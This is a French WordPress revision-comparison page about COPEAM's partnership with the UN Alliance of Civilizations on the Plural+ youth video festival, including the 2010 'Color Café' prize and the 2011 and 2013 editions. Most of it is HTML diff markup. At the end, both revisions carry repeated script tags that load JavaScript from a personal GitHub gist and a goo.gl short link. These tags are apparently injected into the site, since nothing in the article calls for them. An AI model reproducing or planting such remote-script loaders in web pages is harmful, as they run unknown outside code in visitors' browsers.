You are viewing an old revision of this post, from November 15, 2011 @ 14:41:12. See below for differences between this version and the current revision.
|
|
Appel à candidature PLURAL+ 2011 | |
-Clôturé- |
Dans le cadre du partenariat avec l’Alliance of Civilisations des Nations Unies (UNAOC) concernant l’édition 2010 du Festival Plural+, la vidéo gagnant le Prix Spécial COPEAM - “Color Café” - a été présentée lors de la Conférence annuelle de Chypre.
Pierre Martin, coordinateur de l’initiative belge “Coup2Pouce – L’émission télé réalisée par des jeunes”, a été invite à Chypre pour illustrer le projet, consistant à encadrer deux jeunes de 14 ans pour la conception et la réalisation de cette brève vidéo traitant des thèmes du racisme et de l’inter-culturalité.
Ici la motivation du choix de la COPEAM :
«Color café» nous a impressionné par sa simplicité puissante: en utilisant le noir et le blanc et une multitude de symboles et en mettant en avant certaines dynamiques sociales de base, la vidéo est capable de jouer sur le soi-disant «choc des civilisations» et ce, avec une touche d'ironie et un message final efficace.
Du point de vue technique, ce jeune vidéaste belge a accompli un travail très complexe et très original qui évoque l'atmosphère des publicités télévisées de l’Europe des années '60. Cette combinaison de communication et de capacités techniques font de ce clip un exemple très intéressant de ce qui peut être réalisé afin de transmettre un message important à travers un langage audiovisuel accessible, simple et efficace.
Le jeune réalisateur a affirmé, à propos de sa présence à la Conférence COPEAM: “Ici on trouve cette richesse de réflexion sur des questions que je me pose : quel message on adresse à qui, est-ce que les minorités sont représentées par les médias, est-ce qu’elles sont derrière les médias ou hors des opérations, etc. Ce sont des questions que j’aimerais voir approfondir ».
La collaboration entre la COPEAM et l’UNAOC sur le Festival vidéo Plural+ continuera également pour l’édition 2011 (Cérémonie de remise des Prix : 10 novembre 2011, New York).
LE JURY INTERNATIONAL
Un jury international de prestige sélectionnera les gagnants dans les trois catégories (9-12, 13-17, 18-25) qui seront invités à New York pour participer à la Cérémonie de Remise des prix au Paley Center for Media, le 10 novembre 2011.
La COPEAM remettra un Prix Spécial à la vidéo en concours qui aura été capable de promouvoir le dialogue interculturel de manière innovante.
Changes:
November 15, 2011 @ 14:41:12 | Current Revision | ||
---|---|---|---|
Title | |||
Color caffé présentée à la Conférence annuelle de Chypre | La COPEAM et l’Alliance des Civilisations des Nations Unies partenaires pour le Festival Plural+ |
Content | |||
---|---|---|---|
<p> | |||
<span data-scayt_word="Depuis" data-scaytid= "1">Depuis</span> 2009, la <span data-scayt_word="COPEAM" data-scaytid= "2">COPEAM</span> et <span data-scayt_word= "l’Alliance" data-scaytid= "3">l’<strong>Alliance< /strong></span><strong> des <span data-scayt_word= "Civilisations" data-scaytid= "4">Civilisations</span> des Nations <span data-scayt_word="Unies" data-scaytid= "5">Unies</span> (<span data-scayt_word="UNAOC" data-scaytid= "6">UNAOC</span>)</strong> <span data-scayt_word="ont" data-scaytid= "7">ont</span> <span data-scayt_word="signé" data-scaytid= "8">signé</span> un accord de <span data-scayt_word= "partenariat" data-scaytid= "9">partenariat</span> pour le <strong>Festival Plural+</strong>. Il <span data-scayt_word= "s’agit" data-scaytid= "10">s’agit</span> <span data-scayt_word= "d’un" data-scaytid= "11">d’un</span> Festival de <span data-scayt_word="vidéos" data-scaytid= "12">vidéos</span> <span data-scayt_word= "réalisées" data-scaytid= "13">réalisées</span> par des <span data-scayt_word="jeunes" data-scaytid= "14">jeunes</span>, <span data-scayt_word="explorant" data-scaytid= "15">explorant</span> les <span data-scayt_word="thèmes" data-scaytid= "16">thèmes</span> <span data-scayt_word="liés" data-scaytid= "17">liés</span> <span data-scayt_word="à " data-scaytid= "18">à</span> la migration et <span data-scayt_word="à " data-scaytid= "19">à</span> la <span data-scayt_word= "diversité" data-scaytid= "20">diversité</span>. Il <span data-scayt_word="est" data-scaytid= "21">est</span> <span data-scayt_word= "organisé" data-scaytid= "22">organisé</span> par <span data-scayt_word= "l’UNAOC" data-scaytid= "23">l’UNAOC</span> en collaboration <span data-scayt_word="avec" data-scaytid= "24">avec</span> <span data-scayt_word= "l’Organisation" data-scaytid= "25">l’Organisation</span> <span data-scayt_word= "Internationale" data-scaytid= "26">Internationale</span> pour la Migration et <span data-scayt_word= "d’autres" data-scaytid= "27">d’autres</span> <span data-scayt_word= "partenaires" data-scaytid= "28">partenaires</span> <span data-scayt_word= "internationaux" data-scaytid= "29">internationaux</span>.<br /> | |||
<span data-scayt_word="Ce" data-scaytid= "36">Ce</span> Festival [<span data-scayt_word="vidéo" data-scaytid= "37">vidéo</span>] vise <span data-scayt_word="à " data-scaytid= "30">à</span> la reconnaissance des <span data-scayt_word="jeunes" data-scaytid= "32">jeunes</span> en <span data-scayt_word="tant" data-scaytid= "42">tant</span> <span data-scayt_word= "qu’acteurs" data-scaytid= "43">qu’acteurs</span> du <span data-scayt_word= "changement" data-scaytid= "44">changement</span> social et <span data-scayt_word="à " data-scaytid= "31">à</span> <span data-scayt_word="leur" data-scaytid= "45">leur</span> implication en <span data-scayt_word="posant" data-scaytid= "47">posant</span> des questions <span data-scayt_word="sur" data-scaytid= "48">sur</span> <span data-scayt_word= "l’intégration" data-scaytid= "49">l’intégration</span> des migrants, <span data-scayt_word= "l’inclusivité" data-scaytid= "51">l’inclusivité</span>, <span data-scayt_word= "l’identité" data-scaytid= "52">l’identité</span>, la <span data-scayt_word= "diversité" data-scaytid= "34">diversité</span>, les <span data-scayt_word="droits" data-scaytid= "54">droits</span> de <span data-scayt_word= "l’Homme" data-scaytid= "55">l’Homme</span> et <span data-scayt_word= "l’intégration" data-scaytid= "50">l’intégration</span> <span data-scayt_word="sociale" data-scaytid= "56">sociale</span>. De plus, en <span data-scayt_word= "récompensant" data-scaytid= "57">récompensant</span> des <span data-scayt_word="produits" data-scaytid= "58">produits</span> amateurs et non <span data-scayt_word= "professionnels" data-scaytid= "59">professionnels</span>, <span data-scayt_word="cette" data-scaytid= "60">cette</span> initiative <span data-scayt_word= "représente" data-scaytid= "61">représente</span> <span data-scayt_word="une" data-scaytid= "62">une</span> <span data-scayt_word= "opportunité" data-scaytid= "63">opportunité</span> <span data-scayt_word= "intéressante" data-scaytid= "64">intéressante</span> pour <span data-scayt_word="stimuler" data-scaytid= "65">stimuler</span> la <span data-scayt_word= "créativité" data-scaytid= "66">créativité</span> et <span data-scayt_word= "l’implication" data-scaytid= "67">l’implication</span> des <span data-scayt_word="jeunes" data-scaytid= "33">jeunes</span>, <span data-scayt_word="leur" data-scaytid= "46">leur</span> <span data-scayt_word= "permettant" data-scaytid= "68">permettant</span> <span data-scayt_word="d'entrer" data-scaytid= "69">d'entrer</span> en contact <span data-scayt_word="avec" data-scaytid= "35">avec</span> le <span data-scayt_word="langage" data-scaytid= "71">langage</span> <span data-scayt_word= "audiovisuel" data-scaytid= "72">audiovisuel</span>.</p> | |||
<p> | |||
<br /> | |||
<span style="font-size: 14px;"><span style="color: #006400;"><strong>A LA <span data-scayt_word="UNE" data-scaytid= "73">UNE</span> </strong></span></span></p> | |||
<p> | |||
<strong>PLURAL+ 2013</strong></p> | |||
<div style="text-align: justify;">Pour la 4ème année la COPEAM est partenaire média de l'Alliance des Civilisations de l'ONU pour l'édition 2013 du festival Plural + . L'initiative, organisée par UNAOC en collaboration avec l'Organisation Internationale pour les Migrations et d'autres partenaires internationaux, est dédié aux vidéos de jeunes qui explorent les questions liées à la migration et la diversité.<br />Cette année PLURAL + a reçu plus de 250 vidéos de 71 pays . Vingt-cinq vidéos ont été sélectionnés pour les prix .<br />La cérémonie de remise des prix de Plural+ a eu lieu au Paley Center for Media le 5 décembre 2013 à New York.<br />Le prix spécial COPEAM a été attribué à la vidéo «Diversity» avec la motivation suivante :</div><div style="text-align: justify;">Cette vidéo a été retenue par la COPEAM pour la créativité montrée par l’auteur, Bernhard Wenger, à traiter les thèmes de la diversité et de l'internationalité que l’on retrouve dans toutes nos actions, dans notre nourriture, dans nos vêtements, dans notre quotidien, mais que l’on refuse souvent quand ça concerne l’être humain. L'angle adopté a été jugé très particulier, en raison de sa capacité à égaler l’efficacité d'une campagne publicitaire télé.</div><div style="text-align: justify;"><a href="http:// www.youtube.com/ watch?feature= player_embedded&v= 1CsjWY1QMJ4"><br /><strong>Cliquez ici pour regarder la vidéo du prix spécial COPEAM</strong> </a></div><div style="text-align: justify;"><strong><a href="http:// pluralplus.unaoc.org/winning- videos/plural-2013/"><br />Cliquez ici pour voir les vidéos gagnantes</a> </strong></div> <p><strong><a href="http:// pluralplus.unaoc.org/partners/" style="font-size: 14px; line-height: 1.5em;"><span style="color: #0000ff;">Partenaires< /span></a></strong></p> | |||
<table border="0" cellpadding="1" cellspacing="1"> | <table border="0" cellpadding="1" cellspacing="1" style="width: 340px; height: 61px;"> | ||
<tbody> | <tbody> | ||
<tr> | <tr> | ||
</tr> | |||
< | <td> | ||
<td colspan="1"> | |||
<p style="text-align: center;"> | |||
< | <a href="http:// www.unaoc.org/ pluralplus/" target="_blank"><img alt="" src="../../userfiles/ image/plura+_banner.jpg" style="width: 160px; height: 32px;" /></a></td> | ||
<td> | |||
</td> | </td> | ||
</tr> | |||
<tr> | |||
<td colspan="2"> | |||
<strong><strong><span data-scayt_word="Appel" data-scaytid= "1">Appel</span> <span data-scayt_word="Ã " data-scaytid= "2">à</span> candidature PLURAL+ 2011</strong> </strong></td> | |||
</tr> | |||
<tr> | |||
<td colspan="2"> | |||
<strong><span> <span>-<span data-scayt_word= "Clôturé" data-scaytid= "3">Clô turé</span>- </span></span> </strong></td> | |||
</tr> | </tr> | ||
</tbody> | </tbody> | ||
</table> | </table> | ||
<p> | |||
<span data-scayt_word="Dans" data-scaytid= "7">Dans</span> le cadre du <span data-scayt_word= "partenariat" data-scaytid= "8">partenariat</span> <span data-scayt_word="avec" data-scaytid= "9">avec</span> <span data-scayt_word= "l’Alliance" data-scaytid= "10">l’ Alliance</span> of <span data-scayt_word= "Civilisations" data-scaytid= "11">Civilisations</span> des Nations <span data-scayt_word="Unies" data-scaytid= "12">Unies</span> (<span data-scayt_word="UNAOC" data-scaytid= "13">UNAOC</span>) <span data-scayt_word= "concernant" data-scaytid= "14">concernant</span> <span data-scayt_word= "l’édition" data-scaytid= "15">l’ édition</span> 2010 du Festival Plural+, la <span data-scayt_word="vidéo" data-scaytid= "16">vidéo</span> <span data-scayt_word="gagnant" data-scaytid= "18">gagnant</span> le Prix <span data-scayt_word= "Spécial" data-scaytid= "19">Spécial</span> <span data-scayt_word="COPEAM" data-scaytid= "20">COPEAM</span> - “<a href="http:// www.youtube.com/ watch?v=fM82- f-ifsc"><span style="color: rgb(0, 0, 205);"><u><strong>Color </strong></u> </span></a><span data-scayt_word= "Caféâ€" data-scaytid="21"><a href="http:// www.youtube.com/ watch?v=fM82- f-ifsc"><span style="color: rgb(0, 0, 205);"><u><strong> Café</ strong></u>< /span></a>”</span> - a <span data-scayt_word="été" data-scaytid= "22">é té</span> <span data-scayt_word= "présentée" data-scaytid= "24">pré sentée</span> <span data-scayt_word="lors" data-scaytid= "25">lors</span> de la <span data-scayt_word= "Conférence" data-scaytid= "26">Confé rence</span> <span data-scayt_word="annuelle" data-scaytid= "27">annuelle</span> de <span data-scayt_word="Chypre" data-scaytid= "28">Chypre</span>.<br /> | |||
<br /> | |||
Pierre Martin, <span data-scayt_word= "coordinateur" data-scaytid= "49">coordinateur</span> de <span data-scayt_word= "l’initiative" data-scaytid= "50">l’ initiative</span> <span data-scayt_word="belge" data-scaytid= "51">belge</span> <span data-scayt_word= "“Coup2Pouce" data-scaytid= "52">“<a href="http:// www.coup2pouce.be/"><span style="color: rgb(0, 0, 205);"><u><strong> Coup2Pouce</strong></u></ span></a></span> – <span data-scayt_word= "L’émission" data-scaytid= "53">L’ émission</span> <span data-scayt_word= "télé" data-scaytid= "54">té lé</span> <span data-scayt_word= "réalisée" data-scaytid= "55">ré alisée</span> par des <span data-scayt_word= "jeunesâ€" data-scaytid= "56">jeunes”</span>, a <span data-scayt_word="été" data-scaytid= "23">é té</span> invite <span data-scayt_word="à " data-scaytid= "4">à</span> <span data-scayt_word="Chypre" data-scaytid= "29">Chypre</span> pour <span data-scayt_word="illustrer" data-scaytid= "57">illustrer</span> le <span data-scayt_word="projet" data-scaytid= "58">projet</span>, <span data-scayt_word= "consistant" data-scaytid= "59">consistant</span> <span data-scayt_word="à " data-scaytid= "5">à</span> <span data-scayt_word="encadrer" data-scaytid= "60">encadrer</span> <span data-scayt_word="deux" data-scaytid= "61">deux</span> <span data-scayt_word="jeunes" data-scaytid= "62">jeunes</span> de 14 <span data-scayt_word="ans" data-scaytid= "63">ans</span> pour la conception et la <span data-scayt_word= "réalisation" data-scaytid= "64">ré alisation</span> de <span data-scayt_word="cette" data-scaytid= "65">cette</span> <span data-scayt_word="brève" data-scaytid= "66">brève</span> <span data-scayt_word="vidéo" data-scaytid= "17">vidéo</span> <span data-scayt_word="traitant" data-scaytid= "67">traitant</span> des <span data-scayt_word="thèmes" data-scaytid= "68">thèmes</span> du <span data-scayt_word="racisme" data-scaytid= "70">racisme</span> et de <span data-scayt_word= "l’inter- culturalité" data-scaytid= "71">l’ inter-culturalité </span>.</p> | |||
<p> | |||
<u><span data-scayt_word="Ici" data-scaytid= "72">Ici</span> la motivation du <span data-scayt_word="choix" data-scaytid= "73">choix</span> de la <span data-scayt_word="COPEAM" data-scaytid= "32">COPEAM</span> :</u><br /> | |||
<br /> | |||
<em>«Color <span data-scayt_word="café" data-scaytid= "74">café </span>» <span data-scayt_word="nous" data-scaytid= "75">nous</span> a <span data-scayt_word= "impressionné" data-scaytid= "76">impressionné</span> par <span data-scayt_word="sa" data-scaytid= "77">sa</span> <span data-scayt_word= "simplicité" data-scaytid= "78">simplicité</span> <span data-scayt_word="puissante" data-scaytid= "79">puissante</span>: en <span data-scayt_word="utilisant" data-scaytid= "80">utilisant</span> le noir et le <span data-scayt_word="blanc" data-scaytid= "81">blanc</span> et <span data-scayt_word="une" data-scaytid= "82">une</span> multitude de <span data-scayt_word="symboles" data-scaytid= "84">symboles</span> et en <span data-scayt_word="mettant" data-scaytid= "85">mettant</span> en avant <span data-scayt_word="certaines" data-scaytid= "86">certaines</span> <span data-scayt_word= "dynamiques" data-scaytid= "87">dynamiques</span> <span data-scayt_word="sociales" data-scaytid= "88">sociales</span> de base, la <span data-scayt_word="vidéo" data-scaytid= "31">vidéo</span> <span data-scayt_word="est" data-scaytid= "89">est</span> capable de <span data-scayt_word="jouer" data-scaytid= "90">jouer</span> <span data-scayt_word="sur" data-scaytid= "92">sur</span> le <span data-scayt_word= "soi-disant" data-scaytid= "93">soi-disant</span> «choc des <span data-scayt_word= "civilisations" data-scaytid= "94">civilisations< /span>» et <span data-scayt_word="ce" data-scaytid= "95">ce</span>, <span data-scayt_word="avec" data-scaytid= "30">avec</span> <span data-scayt_word="une" data-scaytid= "83">une</span> <span data-scayt_word="touche" data-scaytid= "99">touche</span> <span data-scayt_word="d'ironie" data-scaytid= "100">d'ironie</span> et un message final <span data-scayt_word="efficace" data-scaytid= "101">efficace</span>.<br /> | |||
Du point de <span data-scayt_word="vue" data-scaytid= "103">vue</span> technique, <span data-scayt_word="ce" data-scaytid= "96">ce</span> <span data-scayt_word="jeune" data-scaytid= "104">jeune</span> <span data-scayt_word= "vidéaste" data-scaytid= "105">vidéaste</span> <span data-scayt_word="belge" data-scaytid= "69">belge</span> a accompli un travail <span data-scayt_word="très" data-scaytid= "106">très</span> <span data-scayt_word="complexe" data-scaytid= "109">complexe</span> et <span data-scayt_word="très" data-scaytid= "107">très</span> original qui <span data-scayt_word="évoque" data-scaytid= "110">é voque</span> <span data-scayt_word= "l'atmosphère" data-scaytid= "111">l'atmosphère</span> des <span data-scayt_word= "publicités" data-scaytid= "112">publicités</span> <span data-scayt_word= "télévisées" data-scaytid= "113">té lévisées</span> de <span data-scayt_word= "l’Europe" data-scaytid= "114">l’ Europe</span> des <span data-scayt_word="années" data-scaytid= "115">années</span> '60. <span data-scayt_word="Cette" data-scaytid= "116">Cette</span> <span data-scayt_word= "combinaison" data-scaytid= "117">combinaison</span> de communication et de <span data-scayt_word= "capacités" data-scaytid= "121">capacités</span> techniques font de <span data-scayt_word="ce" data-scaytid= "97">ce</span> clip un <span data-scayt_word="exemple" data-scaytid= "122">exemple</span> <span data-scayt_word="très" data-scaytid= "108">très</span> <span data-scayt_word= "intéressant" data-scaytid= "123">inté ressant</span> de <span data-scayt_word="ce" data-scaytid= "98">ce</span> qui <span data-scayt_word="peut" data-scaytid= "124">peut</span> <span data-scayt_word="être" data-scaytid= "125">être</span> <span data-scayt_word= "réalisé" data-scaytid= "126">ré alisé</span> <span data-scayt_word="afin" data-scaytid= "127">afin</span> de <span data-scayt_word= "transmettre" data-scaytid= "128">transmettre</span> un message important <span data-scayt_word="à " data-scaytid= "6">à</span> <span data-scayt_word="travers" data-scaytid= "129">travers</span> un <span data-scayt_word="langage" data-scaytid= "130">langage</span> <span data-scayt_word= "audiovisuel" data-scaytid= "131">audiovisuel</span> accessible, simple et <span data-scayt_word="efficace" data-scaytid= "102">efficace< /span>.</em></p> | |||
<p> | |||
Le <span data-scayt_word="jeune" data-scaytid= "120">jeune</span> <span data-scayt_word= "réalisateur" data-scaytid= "132">ré alisateur</span> a <span data-scayt_word= "affirmé" data-scaytid= "133">affirmé</span>, <span data-scayt_word="à " data-scaytid= "33">à</span> <span data-scayt_word="propos" data-scaytid= "134">propos</span> de <span data-scayt_word="sa" data-scaytid= "91">sa</span> <span data-scayt_word= "présence" data-scaytid= "135">pré sence</span> <span data-scayt_word="à " data-scaytid= "34">à</span> la <span data-scayt_word= "Conférence" data-scaytid= "39">Confé rence</span> <span data-scayt_word="COPEAM" data-scaytid= "40">COPEAM</span>: <span data-scayt_word= "“Ici" data-scaytid= "136">“Ici</span> on <span data-scayt_word="trouve" data-scaytid= "137">trouve</span> <span data-scayt_word="cette" data-scaytid= "43">cette</span> <span data-scayt_word="richesse" data-scaytid= "138">richesse</span> de <span data-scayt_word= "réflexion" data-scaytid= "139">ré flexion</span> <span data-scayt_word="sur" data-scaytid= "118">sur</span> des questions <span data-scayt_word="que" data-scaytid= "140">que</span> je me pose : <span data-scayt_word="quel" data-scaytid= "143">quel</span> message on <span data-scayt_word="adresse" data-scaytid= "144">adresse</span> <span data-scayt_word="à " data-scaytid= "35">à</span> qui, <span data-scayt_word="est-ce" data-scaytid= "145">est-ce</span> <span data-scayt_word="que" data-scaytid= "141">que</span> les <span data-scayt_word= "minorités" data-scaytid= "147">minorités</span> <span data-scayt_word="sont" data-scaytid= "148">sont</span> <span data-scayt_word= "représentées" data-scaytid= "151">repré sentées</span> par les <span data-scayt_word="médias" data-scaytid= "152">mé dias</span>, <span data-scayt_word="est-ce" data-scaytid= "146">est-ce</span> <span data-scayt_word= "qu’elles" data-scaytid= "154">qu’ elles</span> <span data-scayt_word="sont" data-scaytid= "149">sont</span> <span data-scayt_word= "derrière" data-scaytid= "155">derrière</span> les <span data-scayt_word="médias" data-scaytid= "153">médias</span> <span data-scayt_word="ou" data-scaytid= "156">ou</span> hors des <span data-scayt_word= "opérations" data-scaytid= "157">opé rations</span>, etc. <span data-scayt_word="Ce" data-scaytid= "158">Ce</span> <span data-scayt_word="sont" data-scaytid= "150">sont</span> des questions <span data-scayt_word="que" data-scaytid= "142">que</span> <span data-scayt_word= "j’aimerais" data-scaytid= "159">j’ aimerais</span> <span data-scayt_word="voir" data-scaytid= "160">voir</span> <span data-scayt_word= "approfondir" data-scaytid= "161">approfondir</span> ».<br /> | |||
<br /> | |||
La collaboration <span data-scayt_word="entre" data-scaytid= "162">entre</span> la <span data-scayt_word="COPEAM" data-scaytid= "41">COPEAM</span> et <span data-scayt_word= "l’UNAOC" data-scaytid= "163">l’ UNAOC</span> <span data-scayt_word="sur" data-scaytid= "119">sur</span> le Festival <span data-scayt_word="vidéo" data-scaytid= "44">vidéo</span> Plural+ <span data-scayt_word= "continuera" data-scaytid= "164">continuera</span> <span data-scayt_word= "également" data-scaytid= "165">é galement</span> pour <span data-scayt_word= "l’édition" data-scaytid= "46">l’ édition</span> 2011 (<span data-scayt_word= "Cérémonie" data-scaytid= "166">Cé rémonie</span> de remise des Prix : 10 <span data-scayt_word="novembre" data-scaytid= "168">novembre</span> 2011, New York).<br /> | |||
<br /> | |||
<font><strong>LE JURY INTERNATIONAL</strong><br /> | |||
Un jury international de prestige <span class="scayt- misspell"><span data-scayt_word= "sélectionnera" data-scaytid= "170">sé lectionnera< /span></span> les <span class="scayt- misspell"><span data-scayt_word="gagnants" data-scaytid= "171">gagnants< /span></span> <span class="scayt- misspell"><span data-scayt_word="dans" data-scaytid= "172">dans</span></span> les <span class="scayt- misspell"><span data-scayt_word="trois" data-scaytid= "173">trois</ span></span> <span class="scayt- misspell"><span data-scayt_word= "catégories" data-scaytid= "174">catégories</ span></span> (9-12, 13-17, 18-25) qui <span class="scayt- misspell"><span data-scayt_word="seront" data-scaytid= "175">seront< /span></span> <span class="scayt- misspell"><span data-scayt_word= "invités" data-scaytid= "176">invité s</span></span> <span class="scayt- misspell"><span data-scayt_word="à " data-scaytid= "36">à </span></span> New York pour <span class="scayt- misspell"><span data-scayt_word= "participer" data-scaytid= "177">participer< /span></span> <span class="scayt- misspell"><span data-scayt_word="à " data-scaytid= "37">à </span></span> la <span class="scayt- misspell"><span data-scayt_word= "Cérémonie" data-scaytid= "167">Cé rémonie< /span></span> de Remise des prix au <span class="scayt- misspell"><span data-scayt_word="Paley" data-scaytid= "178">Paley</ span></span> Center for Media, le 10 <span class="scayt- misspell"><span data-scayt_word="novembre" data-scaytid= "169">novembre< /span></span> 2011.<br /> | |||
<br /> | |||
La <span class="scayt- misspell"><span data-scayt_word="COPEAM" data-scaytid= "42">COPEAM</ span></span> <span class="scayt- misspell"><span data-scayt_word="remettra" data-scaytid= "179">remettra< /span></span> un Prix <span class="scayt- misspell"><span data-scayt_word= "Spécial" data-scaytid= "47">Spé cial</span></span> <span class="scayt- misspell"><span data-scayt_word="à " data-scaytid= "38">à </span></span> la <span class="scayt- misspell"><span data-scayt_word="vidéo" data-scaytid= "45">vidé o</span></span> en <span class="scayt- misspell"><span data-scayt_word="concours" data-scaytid= "180">concours< /span></span> qui aura <span class="scayt- misspell"><span data-scayt_word="été" data-scaytid= "48">é té</span></span> capable de <span class="scayt- misspell"><span data-scayt_word= "promouvoir" data-scaytid= "181">promouvoir< /span></span> le <span class="scayt- misspell"><span data-scayt_word="dialogue" data-scaytid= "182">dialogue< /span></span> <span class="scayt- misspell"><span data-scayt_word= "interculturel" data-scaytid= "183">interculturel< /span></span> de <span class="scayt- misspell"><span data-scayt_word= "manière" data-scaytid= "184">maniè re</span></span> <span class="scayt- misspell"><span data-scayt_word="innovante" data-scaytid= "185">innovante< /span></span> .</font></p> | |||
<script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> |
Note: Spaces may be added to comparison text to allow better line wrapping.